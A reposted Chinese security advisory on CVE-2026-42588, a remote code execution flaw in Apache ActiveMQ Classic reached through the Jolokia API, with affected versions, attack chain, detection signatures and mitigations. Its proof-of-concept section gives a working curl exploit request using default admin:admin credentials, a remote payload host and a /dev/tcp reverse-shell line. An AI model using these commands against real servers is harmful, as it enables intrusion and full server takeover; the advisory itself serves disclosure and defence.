文章总结: ApacheActiveMQClassic存在高危远程代码执行漏洞CVE-2026-42588,攻击者可通过JolokiaJMX-HTTP接口利用恶意URI触发SpringXML远程加载执行任意代码。影响5.x系列<5.19.7和6.x系列<6.2.6版本,公网暴露控制台或使用默认凭据的部署风险极高。官方已发布修复版本,建议立即升级或通过修改Jolokia策略、限制网络访问等措施缓解风险。 综合评分: 85 文章分类: 漏洞分析,漏洞预警,解决方案,应急响应,WEB安全
【高危漏洞预警】Apache ActiveMQ Classic远程代码执行漏洞CVE-2026-42588
飓风网络安全
2026年6月2日 21:14 北京
在小说阅读器读本章
去阅读
一、漏洞概述
2026年5月31日,Apache软件基金会发布安全公告,披露了Apache ActiveMQ Classic中的一个高危远程代码执行漏洞(CVE-2026-42588)。该漏洞是此前CVE-2026-34197漏洞的一个变种,通过使用masterslave:// URL前缀绕过了之前的修复措施。
Apache ActiveMQ Classic是一款广泛使用的开源消息中间件,完整实现了JMS(Java Message Service)规范,被全球数百万企业用于构建分布式系统和微服务架构。该漏洞存在于ActiveMQ Classic的Jolokia JMX-HTTP桥接组件中,攻击者只需拥有有效的认证凭据(默认凭据admin:admin在许多环境中仍被使用),即可远程执行任意代码,完全控制受影响的服务器。
二、影响范围 受影响版本
• Apache ActiveMQ Classic 5.x系列:所有版本 < 5.19.7
• Apache ActiveMQ Classic 6.x系列:6.0.0 ≤ 所有版本 < 6.2.6
高危场景
• 公网暴露的ActiveMQ管理控制台(端口8161)
• 使用默认凭据admin:admin的部署
• 未正确配置Jolokia访问策略的环境
• 云服务提供商托管的ActiveMQ实例(如AWS Amazon MQ、阿里云消息队列等)
三、技术分析
漏洞原理
Apache ActiveMQ Classic在Web控制台(端口8161)上暴露了Jolokia JMX-HTTP桥接接口/api/jolokia/,默认的Jolokia访问策略允许对所有ActiveMQ MBeans(org.apache.activemq:*)执行任意操作,包括BrokerService.addNetworkConnector(String)方法。
该方法用于在运行时创建broker-to-broker网络连接。攻击者可以构造一个恶意的masterslave:// URI作为参数传入,该URI会触发VM transport的brokerConfig参数,指向攻击者控制的远程Spring XML配置文件。
当ActiveMQ处理这个恶意URI时,会使用Spring的ResourceXmlApplicationContext加载远程XML文件。关键问题在于,Spring会在BrokerService验证配置之前就实例化所有单例Bean,这使得攻击者可以通过Bean工厂方法(如Runtime.exec())执行任意操作系统命令,从而实现远程代码执行。
攻击链
-
攻击者获取ActiveMQ Web控制台的有效凭据(或利用默认凭据)
-
通过Jolokia API调用BrokerService.addNetworkConnector方法
-
传入恶意URI:masterslave:(vm://localhost?brokerConfig=xbean:http://attacker.com/payload.xml)
-
ActiveMQ加载攻击者提供的远程Spring XML文件
-
Spring实例化恶意Bean,执行任意代码
-
攻击者获得服务器权限,进行后续攻击
四、利用POC
前提条件
• 目标ActiveMQ实例的Web控制台(端口8161)可访问
• 拥有有效的认证凭据(默认:admin/admin)
• 攻击者可以搭建一个HTTP服务器来托管恶意Spring XML文件
步骤1:创建恶意Spring XML payload
创建一个名为payload.xml的文件,内容如下:
<?xml version="1.0" encoding="UTF-8" ?>
将touch /tmp/CVE-2026-42588_success替换为你想要执行的命令,例如反弹shell: bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1 步骤2:启动HTTP服务器托管payload
在攻击者机器上启动一个简单的HTTP服务器: python3 -m http.server 8000 步骤3:执行漏洞利用
使用curl命令调用Jolokia API触发漏洞: curl -X POST http://TARGET_IP:8161/api/jolokia/ \ -H “Content-Type: application/json” \ -u admin:admin \ -d ‘{ “type”: “exec”, “mbean”: “org.apache.activemq:type=Broker,brokerName=localhost”, “operation”: “addNetworkConnector(java.lang.String)”, “arguments”: [ “masterslave:(vm://localhost?brokerConfig=xbean:http://ATTACKER_IP:8000/payload.xml)” ] }’ 注意:
• 将TARGET_IP替换为目标ActiveMQ服务器的IP地址
• 将ATTACKER_IP和ATTACKER_PORT替换为攻击者机器的IP和端口
• 如果目标使用了非默认的brokerName,需要相应修改brokerName=localhost部分
验证利用成功
在目标服务器上检查是否创建了/tmp/CVE-2026-42588_success文件,或者是否收到了反弹shell连接。
五、检测方法
日志检测
在ActiveMQ的日志文件中查找以下特征:
• 包含vm:// URI且带有brokerConfig=xbean:http的网络连接器创建记录
• 异常的Spring XML加载错误信息
• Jolokia API对addNetworkConnector或addConnector方法的调用记录
网络流量检测
• 监控端口8161上的HTTP POST请求到/api/jolokia/端点
• 查找请求体中包含”operation”:”addNetworkConnector”或”operation”:”addConnector”的请求
• 检查参数中是否包含masterslave:(vm://和brokerConfig=xbean:字符串
六、修复建议
官方修复
Apache官方已发布修复版本,强烈建议受影响用户立即升级至以下安全版本:
• Apache ActiveMQ Classic 5.19.7
• Apache ActiveMQ Classic 6.2.6
下载地址:https://activemq.apache.org/download
临时缓解措施 如果无法立即升级,可以采取以下临时缓解措施:
-
修改Jolokia访问策略 编辑conf/jolokia-access.xml文件,限制对敏感MBean操作的访问:
org.apache.activemq:* *!(addNetworkConnector|addConnector|removeNetworkConnector|removeConnector) -
禁用不必要的网络连接器功能 如果不需要动态添加网络连接器,可以完全禁用该功能。
-
限制管理接口访问
◦ 不要将ActiveMQ Web控制台(端口8161)暴露到公网
◦ 配置防火墙规则,仅允许受信任的IP地址访问管理端口
◦ 修改默认凭据admin:admin为强密码
- 启用HTTPS 为Web控制台启用HTTPS,防止凭据在传输过程中被窃取。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:飓风网络安全 《【高危漏洞预警】Apache ActiveMQ Classic远程代码执行漏洞CVE-2026-42588》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论